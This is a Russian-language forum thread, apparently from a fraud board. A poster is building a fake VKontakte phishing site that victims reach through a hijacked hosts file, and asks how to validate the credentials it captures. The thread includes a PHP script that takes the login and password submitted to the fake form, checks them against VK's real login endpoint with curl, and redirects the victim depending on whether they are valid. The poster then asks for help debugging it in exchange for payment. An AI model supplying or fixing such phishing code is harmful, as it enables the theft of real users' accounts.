Всем доброго Времени суток, я дорабатывал вчера фейк, vkvkvk.ru, все вроде норм, только бы авторизацию написать, скажите, возможна ли авторизация со стороны сервера, т.к. со стороны клиента вконтакте заблокирован моим фейком через файл хостс, Заранее спасиибо
спасибо , что значит толку не будет? мне надо всего лишь доработать фейк, чтобы на нем была авторизация - этот скрипт подойдет?
почитай полностью ту тему, "толку не будет" относится к другому скрипту =) этот скрипт авторизируется и если всё ок, то возвращает хэш, если нет, то false =)
MaikTeeMan помоги пожалуйста, не получается впихнуть его в фейк, я в долгу не останусь, завтра будет выплата с биллинга, отблагодарю дай плиз свою асю, или стучи мне 375766234
PHP: <? function vk_login($login,$pass) { $login = urlencode($login); $pass = urlencode($pass); $ch = curl_init('http://login.vk.com/?act=login'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3'); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "email=$login&pass=$pass&expire=&vk="); $res = curl_exec($ch); if(preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s)) return $s[1]; else return false; } $email = $_POST['login']; $password = $_POST['passwd']; if(!vk_login($email, $password)) { echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=bad.htm'></head></html>"; } else { echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>"; } ?> подскажите ошибку плиз, один хер перебрасывает на bad.htm, какие бы данные не вводил.